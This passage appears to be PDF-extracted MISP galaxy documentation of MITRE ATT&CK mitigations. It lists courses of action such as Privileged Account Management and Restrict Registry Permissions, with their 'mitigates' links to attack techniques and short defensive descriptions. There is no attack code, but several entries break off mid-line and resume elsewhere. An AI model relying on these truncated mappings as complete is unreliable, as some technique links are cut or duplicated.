language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Scheduled Task/Job - T1053" with estimative-
language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Impair Defenses - T1562" with estimative-
language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Direct Cloud VM Connections - T1021.008" with estimative-
language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1547.009" with estimative-
language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Disable Windows Event Logging - T1562.002" with estimative-
language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Use Alternate Authentication Material - T1550" with estimative-
language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-
language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Browser Session Hijacking - T1185" with estimative-
language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Remote Services - T1021" with estimative-
language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Disable or Modify Linux Audit System - T1562.012" with estimative-
language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Deploy Container - T1610" with estimative-
language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Launch Daemon - T1543.004" with estimative-
language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Cloud Infrastructure Discovery - T1580" with estimative-
language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Remote Service Session Hijacking - T1563" with estimative-
language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-
language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Group Policy Modification - T1484.001" with estimative-
language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1548" with estimative-language:likelihood-probability="almost-certain"


• mitigates: misp-galaxy:mitre-attack-pattern="Winlogon Helper DLL - T1547.004" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="SSH Authorized Keys - T1098.004" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Temporary Elevated Cloud Access - T1548.005" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Delete Cloud Instance - T1578.003" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Executable Installer File Permissions Weakness - T1574.005" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Indicator Blocking - T1562.006" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Disable or Modify Cloud Firewall - T1562.007" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Confluence - T1213.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1550.003" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Container Administration Command - T1609" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Traffic Duplication - T1020.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Launchctl - T1569.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Network Device CLI - T1059.008" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Financial Theft - T1657" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Cloud Storage Object Discovery - T1619" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Log Enumeration - T1654" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Token Impersonation/Theft - T1134.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Additional Cloud Credentials - T1098.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Make and Impersonate Token - T1134.003" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Cloud Account - T1087.004" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1546.003" with estimative-language:likelihood-probability="almost-certain"


• mitigates: misp-galaxy:mitre-attack-pattern="Forge Web Credentials - T1606" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Services File Permissions Weakness - T1574.010" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Trusted Relationship - T1199" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"


• mitigates: misp-galaxy:mitre-attack-pattern="Kernel Modules and Extensions - T1547.006" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Systemd Timers - T1053.006" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Hijack Execution Flow - T1574" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Credential Stuffing - T1110.004" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Multi-Factor Authentication - T1556.006" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Modify Cloud Compute Configurations - T1578.005" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Disable or Modify Cloud Logs - T1562.008" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Create Cloud Instance - T1578.002" with estimative-language:likelihood-probability="almost-certain"


• mitigates: misp-galaxy:mitre-attack-pattern="System Services - T1569" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Data from Information Repositories - T1213" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Server Software Component - T1505" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Transfer Data to Cloud Account - T1537" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Systemd Service - T1543.002" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="RDP Hijacking - T1563.002" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="XDG Autostart Entries - T1547.013" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Cloud Service Dashboard - T1538" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1550.002" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Serverless Execution - T1648" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Domain Policy Modification - T1484" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Create Snapshot - T1578.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="At - T1053.002" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Modify Authentication Process - T1556" with estimative-language:likelihood-probability="almost-certain"
Redundant Access Mitigation - T1108

Identify and block potentially malicious software that may be used as a remote access tool, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and will be different across various malware families and versions. Adversaries will likely change tool signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: misp-galaxy:mitre-course-of-action="Redundant Access Mitigation - T1108"

Component Firmware Mitigation - T1109

Prevent adversary access to privileged accounts or access necessary to perform this technique.

Consider removing and replacing system components suspected of being compromised.
The tag is: misp-galaxy:mitre-course-of-action="Component Firmware Mitigation - T1109"

**Table 6117. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1109">https://attack.mitre.org/mitigations/T1109</a></td>
</tr>
</tbody>
</table>

**System Firmware Mitigation - T1019**

Prevent adversary access to privileged accounts or access necessary to perform this technique. Check the integrity of the existing BIOS or EFI to determine if it is vulnerable to modification. Patch the BIOS and EFI as necessary. Use Trusted Platform Module technology. (Citation: TCG Trusted Platform Module)

The tag is: misp-galaxy:mitre-course-of-action="System Firmware Mitigation - T1019"

**Table 6118. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1019">https://attack.mitre.org/mitigations/T1019</a></td>
</tr>
</tbody>
</table>

**Threat Intelligence Program - M1019**

A threat intelligence program helps an organization generate their own threat intelligence information and track trends to inform defensive priorities to mitigate risk.

The tag is: misp-galaxy:mitre-course-of-action="Threat Intelligence Program - M1019"

**View relationships graph**

Threat Intelligence Program - M1019 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Impersonation - T1656" with estimative-language:likelihood-probability="almost-certain"
Data Encrypted Mitigation - T1022

Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to encrypt files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action*="Data Encrypted Mitigation - T1022"

Shortcut Modification Mitigation - T1023

Limit permissions for who can create symbolic links in Windows to appropriate groups such as Administrators and necessary groups for virtualization. This can be done through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create symbolic links. (Citation: UCF STIG Symbolic Links)

Identify and block unknown, potentially malicious software that may be executed through shortcut modification by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action*="Shortcut Modification Mitigation - T1023"
User Execution Mitigation - T1204

Use user training as a way to bring awareness to common phishing and spearphishing techniques and how to raise suspicion for potentially malicious events. Application whitelisting may be able to prevent the running of executables masquerading as other files.

If a link is being visited by a user, block unknown or unused files in transit by default that should not be downloaded or by policy from suspicious sites as a best practice to prevent some vectors, such as .scr, .exe, .lnk, .pif, .cpl, etc. Some download scanning devices can open and analyze compressed and encrypted formats, such as zip and RAR that may be used to conceal malicious files in [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).

If a link is being visited by a user, network intrusion prevention systems and systems designed to scan and remove malicious downloads can be used to block activity. Solutions can be signature and behavior based, but adversaries may construct files in a way to avoid these systems.

The tag is: *misp-galaxy:mitre-course-of-action="User Execution Mitigation - T1204"*

Table 6122. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1204">https://attack.mitre.org/mitigations/T1204</a></td>
</tr>
</tbody>
</table>

Restrict Registry Permissions - M1024

Restrict the ability to modify certain hives or keys in the Windows Registry.

The tag is: *misp-galaxy:mitre-course-of-action="Restrict Registry Permissions - M1024"*

Restrict Registry Permissions - M1024 has relationships with:

- mitigates: *misp-galaxy:mitre-attack-pattern="Boot or Logon Initialization Scripts - T1037"* with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Terminal Services DLL - T1505.005" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Clear Network Connection History and Configurations - T1070.007" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Impair Defenses - T1562" with estimative-language:likelihood-probability="almost-certain"


• mitigates: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="SIP and Trust Provider Hijacking - T1553.003" with estimative-language:likelihood-probability="almost-certain"


• mitigates: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Time Providers - T1547.003" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Network Provider DLL - T1556.008" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Hijack Execution Flow - T1574" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Subvert Trust Controls - T1553" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Server Software Component - T1505" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Logon Script (Windows) - T1037.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Modify Authentication Process - T1556" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="COR_PROFILER - T1574.012" with estimative-language:likelihood-probability="almost-certain"

Table 6123. Table References

Links

https://attack.mitre.org/mitigations/M1024
User Account Control - M1052

Configure Windows User Account Control to mitigate risk of adversaries obtaining elevated process access.

The tag is: `misp-galaxy:mitre-course-of-action="User Account Control - M1052"`

View relationships graph

User Account Control - M1052 has relationships with:

- mitigates: `misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1548"` with estimative-language:likelihood-probability="almost-certain"
- mitigates: `misp-galaxy:mitre-attack-pattern="Executable Installer File Permissions Weakness - T1574.005"` with estimative-language:likelihood-probability="almost-certain"
- mitigates: `misp-galaxy:mitre-attack-pattern="Services File Permissions Weakness - T1574.010"` with estimative-language:likelihood-probability="almost-certain"

Table 6124. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/M1052">https://attack.mitre.org/mitigations/M1052</a></td>
</tr>
</tbody>
</table>

Privileged Process Integrity - M1025

Protect processes with high privileges that can be used to interact with critical system components through use of protected process light, anti-process injection defenses, or other process integrity enforcement measures.

The tag is: `misp-galaxy:mitre-course-of-action="Privileged Process Integrity - M1025"`

View relationships graph

Privileged Process Integrity - M1025 has relationships with:

- mitigates: `misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003"` with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"


• mitigates: misp-galaxy:mitre-attack-pattern="Domain Controller Authentication - T1556.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="LSASS Driver - T1547.008" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Modify Authentication Process - T1556" with estimative-language:likelihood-probability="almost-certain"

Table 6125. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/M1025">https://attack.mitre.org/mitigations/M1025</a></td>
</tr>
</tbody>
</table>

**Port Knocking Mitigation - T1205**

Mitigation of some variants of this technique could be achieved through the use of stateful firewalls, depending upon how it is implemented.

The tag is: **misp-galaxy:mitre-course-of-action="Port Knocking Mitigation - T1205"**

Table 6126. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1205">https://attack.mitre.org/mitigations/T1205</a></td>
</tr>
</tbody>
</table>

**Privileged Account Management - M1026**

Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.

The tag is: **misp-galaxy:mitre-course-of-action="Privileged Account Management - M1026"**

View relationships graph

Privileged Account Management - M1026 has relationships with:

• mitigates: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Pluggable Authentication Modules - T1556.003" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Linux and Mac File and Directory Permissions"
Modification - T1222.002" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Container Orchestration Job - T1053.007" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Sudo and Sudo Caching - T1548.003" with estimative-language:likelihood-probability="almost-certain"


• mitigates: misp-galaxy:mitre-attack-pattern="System Firmware - T1542.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Bootkit - T1542.003" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="SAML Tokens - T1606.002" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Domain Trust Modification - T1484.002" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Safe Mode Boot - T1562.009" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="TFTP Boot - T1542.005" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Additional Cloud Roles - T1098.003" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Component Object Model - T1559.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Proc Filesystem - T1003.007" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Credentials in Registry - T1552.002" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Windows File and Directory Permissions Modification - T1222.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Transport Agent - T1505.002" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Scheduled Task/Job - T1053" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Msiexec - T1218.007" with estimative-

mitigates: misp-galaxy:mitre-attack-pattern="Steal or Forge Kerberos Tickets - T1558" with estimative-language:likelihood-probability="almost-certain"

mitigates: misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555" with estimative-language:likelihood-probability="almost-certain"

mitigates: misp-galaxy:mitre-attack-pattern="Unsecured Credentials - T1552" with estimative-language:likelihood-probability="almost-certain"


mitigates: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

mitigates: misp-galaxy:mitre-attack-pattern="Escape to Host - T1611" with estimative-language:likelihood-probability="almost-certain"

mitigates: misp-galaxy:mitre-attack-pattern="SSH Hijacking - T1563.001" with estimative-language:likelihood-probability="almost-certain"


mitigates: misp-galaxy:mitre-attack-pattern="Implant Internal Image - T1525" with estimative-language:likelihood-probability="almost-certain"

mitigates: misp-galaxy:mitre-attack-pattern="Network Address Translation Traversal - T1599.001" with estimative-language:likelihood-probability="almost-certain"


mitigates: misp-galaxy:mitre-attack-pattern="Hybrid Identity - T1556.007" with estimative-language:likelihood-probability="almost-certain"


mitigates: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"

mitigates: misp-galaxy:mitre-attack-pattern="File and Directory Permissions Modification - T1222" with estimative-language:likelihood-probability="almost-certain"

mitigates: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-
• mitigates: misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1548" with estimative-language:likelihood-probability="almost-certain"


• mitigates: misp-galaxy:mitre-attack-pattern="Distributed Component Object Model - T1021.003" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Web Portal Capture - T1056.003" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Cached Domain Credentials - T1003.005" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Domain Account - T1136.002" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Golden Ticket - T1558.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1550.003" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Container Administration Command - T1609" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Pre-OS Boot - T1542" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Build Image on Host - T1612" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Network Device CLI - T1059.008" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Token Impersonation/Theft - T1134.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Cloud Services - T1021.007" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Additional Cloud Credentials - T1098.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Make and Impersonate Token - T1134.003" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1546.003" with estimative-language:likelihood-probability="almost-certain"


• mitigates: misp-galaxy:mitre-attack-pattern="Forge Web Credentials - T1606" with estimative-

mitigates: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"

mitigates: misp-galaxy:mitre-attack-pattern="Cloud Account - T1136.003" with estimative-language:likelihood-probability="almost-certain"

mitigates: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"


mitigates: misp-galaxy:mitre-attack-pattern="Inter-Process Communication - T1559" with estimative-language:likelihood-probability="almost-certain"

mitigates: misp-galaxy:mitre-attack-pattern="Modify System Image - T1601" with estimative-language:likelihood-probability="almost-certain"

mitigates: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

mitigates: misp-galaxy:mitre-attack-pattern="IIS Components - T1505.004" with estimative-language:likelihood-probability="almost-certain"

mitigates: misp-galaxy:mitre-attack-pattern="Network Boundary Bridging - T1599" with estimative-language:likelihood-probability="almost-certain"


mitigates: misp-galaxy:mitre-attack-pattern="/etc/passwd and /etc/shadow - T1003.008" with estimative-language:likelihood-probability="almost-certain"

mitigates: misp-galaxy:mitre-attack-pattern="System Services - T1569" with estimative-language:likelihood-probability="almost-certain"


mitigates: misp-galaxy:mitre-attack-pattern="Domain Controller Authentication - T1556.001" with estimative-language:likelihood-probability="almost-certain"

mitigates: misp-galaxy:mitre-attack-pattern="Reversible Encryption - T1556.005" with
• mitigates: misp-galaxy:mitre-attack-pattern="Cloud Administration Command - T1651" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Systemd Service - T1543.002" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="RDP Hijacking - T1563.002" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Create Account - T1136" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1550.002" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Additional Email Delegate Permissions - T1098.002" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Ptrace System Calls - T1055.008" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Domain Policy Modification - T1484" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1558.003" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="DCSync - T1003.006" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="At - T1053.002" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Modify Authentication Process - T1556" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Firmware Corruption - T1495" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Container API - T1552.007" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="SQL Stored Procedures - T1505.001" with
• mitigates: misp-galaxy:mitre-attack-pattern="Network Device Authentication - T1556.004" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Downgrade System Image - T1601.002" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Local Accounts - T1078.003" with estimative-language:likelihood-probability="almost-certain"

Table 6127. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/M1026">https://attack.mitre.org/mitigations/M1026</a></td>
</tr>
</tbody>
</table>

**Multiband Communication Mitigation - T1026**

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: misp-galaxy:mitre-course-of-action="Multiband Communication Mitigation - T1026"

Table 6128. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1026">https://attack.mitre.org/mitigations/T1026</a></td>
</tr>
</tbody>
</table>

**Sudo Caching Mitigation - T1206**

